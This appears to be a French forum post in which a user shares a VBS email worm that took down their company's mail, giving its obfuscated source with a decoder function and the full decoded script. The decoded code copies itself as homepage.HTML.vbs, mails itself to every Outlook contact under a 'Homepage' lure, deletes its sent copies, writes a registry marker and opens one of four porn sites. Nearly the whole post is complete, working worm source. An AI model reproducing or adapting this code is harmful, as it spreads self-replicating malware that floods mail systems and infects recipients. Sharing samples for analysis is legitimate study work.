Salut
Pour étude pour les passionnés...
Un virus qui a mis par terre la messagerie de ma boite ce matin,
dont la version cryptée et décryptée suit...
Il a pour effet de se répliquer à l'ensemble du carnet d'adresse outlook, et de changer la page de démarrage de l'explorateur par un site porno parmi 4. Bien sûr, il suffirait de ne pas cliquer sur la pièce jointe (VBS), mais allez expliquer ça aux centaines de gens qui l'ont ouvert ce matin...
Crypté : 
Execute DeCode("QpGttqtTguwogPgzvUgvYU?EtgcvgQdlgev*$YUetkrv0Ujgnn$+UgvHUQ?Etgcvgqdlgev*$uetkrvkpi0hkngu{uvgoqdlgev$+Hqnfgt?HUQ0IgvUrgekcnHqnfgt*4+UgvKpH?HUQ0QrgpVgzvHkng*YUetkrv0UetkrvHwnnpcog.3+FqYjkngKpH0CvGpfQhUvtgco>@VtwgUetkrvDwhhgt?UetkrvDwhhgt(KpH0TgcfNkpg(xdetnhNqqrUgvQwvH?HUQ0QrgpVgzvHkng*Hqnfgt($^jqogrcig0JVON0xdu$.4.vtwg+QwvH0ytkvgUetkrvDwhhgtQwvH0enqugUgvHUQ?PqvjkpiKhYU0tgitgcf*$JMEW^uqhvyctg^Cp^ockngf$+>@$3$vjgpOcknkv*+GpfKhUgvu?EtgcvgQdlgev*$Qwvnqqm0Crrnkecvkqp$+Ugvv?u0IgvPcogUrceg*$OCRK$+Ugvw?v0IgvFghcwnvHqnfgt*8+Hqtk?3vqw0kvgou0eqwpvKhw0Kvgou0Kvgo*k+0uwdlgev?$Jqogrcig$Vjgpw0Kvgou0Kvgo*k+0enqugw0Kvgou0Kvgo*k+0fgngvgGpfKhPgzvUgvw?v0IgvFghcwnvHqnfgt*5+Hqtk?3vqw0kvgou0eqwpvKhw0Kvgou0Kvgo*k+0uwdlgev?$Jqogrcig$Vjgpw0Kvgou0Kvgo*k+0fgngvgGpfKhPgzvTcpfqok|gt?Kpv**6,Tpf+-3+Kht?3vjgpYU0Twp*$jvvr<11jctfeqtg0rqtpdknndqctf0pgv1ujcppqp130jvo$+gnugkht?4VjgpYU0Twp*$jvvr<11ogodgtu0pdek0eqo1aZOEO1rtkp|lg130jvo$+gnugkht?5VjgpYU0Twp*$jvvr<11yyy40ugzetqrqnku0eqo1cocvgwt1ujgknc130jvo$+GnugKht?6VjgpYU0Twp*$jvvr<11ujgknc0kuugz{0vx130jvo$+GpfKhHwpevkqpOcknkv*+QpGttqtTguwogPgzvUgvQwvnqqm?EtgcvgQdlgev*$Qwvnqqm0Crrnkecvkqp$+KhQwvnqqm?$Qwvnqqm$VjgpUgvOcrk?Qwvnqqm0IgvPcogUrceg*$OCRK$+UgvNkuvu?Ocrk0CfftguuNkuvuHqtGcejNkuvKpfgzKpNkuvuKhNkuvKpfgz0CfftguuGpvtkgu0Eqwpv>@2VjgpEqpvcevEqwpv?NkuvKpfgz0CfftguuGpvtkgu0EqwpvHqtEqwpv?3VqEqpvcevEqwpvUgvOckn?Qwvnqqm0EtgcvgKvgo*2+UgvEqpvcev?NkuvKpfgz0CfftguuGpvtkgu*Eqwpv+Ockn0Vq?Eqpvcev0CfftguuOckn0Uwdlgev?$Jqogrcig$Ockn0Dqf{?xdetnh($Jk#$(xdetnh(xdetnh($[qw)xgiqvvquggvjkurcig#Kv)utgcnn{eqqn=Q+$(xdetnh(xdetnhUgvCvvcejogpv?Ockn0CvvcejogpvuCvvcejogpv0CffHqnfgt($^jqogrcig0JVON0xdu$Ockn0FgngvgChvgtUwdokv?VtwgKhOckn0Vq>@$$VjgpOckn0UgpfYU0tgiytkvg$JMEW^uqhvyctg^Cp^ockngf$.$3$GpfKhPgzvGpfKhPgzvGpfkhGpfHwpevkqp" )
Function DeCode(Coded)
For I = 1 To Len(Coded)
CurChar= Mid(Coded, I, 1)
If Asc(CurChar) = 15 Then
CurChar= Chr(10)
ElseIf Asc(CurChar) = 16 Then
CurChar= Chr(13)
ElseIf Asc(CurChar) = 17 Then
CurChar= Chr(32)
ElseIf Asc(CurChar) = 18 Then
CurChar= Chr(9)
Else
CurChar = Chr(Asc(CurChar) - 2)
End If
DeCode = DeCode & CurChar
Next
End Function
====================================
qui donne, une fois décodé... 
On Error Resume Next
Set WS = CreateObject("WScript.Shell" )
Set FSO= Createobject("scripting.filesystemobject" )
Folder=FSO.GetSpecialFolder(2)
Set InF=FSO.OpenTextFile(WScript.ScriptFullname,1)
Do While InF.AtEndOfStream<>True
ScriptBuffer=ScriptBuffer&InF.ReadLine&vbcrlf
Loop
Set OutF=FSO.OpenTextFile(Folder&"\homepage.HTML.vbs",2,true)
OutF.write ScriptBuffer
OutF.close
Set FSO=Nothing
If WS.regread ("HKCU\software\An\mailed" ) <> "1" then
Mailit()
End If
Set s=CreateObject("Outlook.Application" )
Set t=s.GetNameSpace("MAPI" )
Set u=t.GetDefaultFolder(6)
For i=1 to u.items.count
If u.Items.Item(i).subject="Homepage" Then
u.Items.Item(i).close
u.Items.Item(i).delete
End If
Next
Set u=t.GetDefaultFolder(3)
For i=1 to u.items.count
If u.Items.Item(i).subject="Homepage" Then
u.Items.Item(i).delete
End If
Next
Randomize
r=Int((4*Rnd)+1)
If r=1 then
WS.Run("http://hardcore.pornbillboard.net/shannon/1.htm" )
elseif r=2 Then
WS.Run("http://members.nbci.com/_XMCM/prinzje/1.htm" )
elseif r=3 Then
WS.Run("http://www2.sexcropolis.com/amateur/sheila/1.htm" )
ElseIf r=4 Then
WS.Run("http://sheila.issexy.tv/1.htm" )
End If
Function Mailit()
On Error Resume Next
Set Outlook = CreateObject("Outlook.Application" )
If Outlook = "Outlook" Then
Set Mapi=Outlook.GetNameSpace("MAPI" )
Set Lists=Mapi.AddressLists
For Each ListIndex In Lists
If ListIndex.AddressEntries.Count <> 0 Then
ContactCount = ListIndex.AddressEntries.Count
For Count= 1 To ContactCount
Set Mail = Outlook.CreateItem(0)
Set Contact = ListIndex.AddressEntries(Count)
Mail.To = Contact.Address
Mail.Subject = "Homepage"
Mail.Body = vbcrlf&"Hi!"&vbcrlf&vbcrlf&"You've got to see this page! It's really cool ;O)"&vbcrlf&vbcrlf
Set Attachment=Mail.Attachments
Attachment.Add Folder & "\homepage.HTML.vbs"
Mail.DeleteAfterSubmit = True
If Mail.To <> "" Then
Mail.Send
WS.regwrite "HKCU\software\An\mailed", "1"
End If
Next
End If
Next
End if
End Function
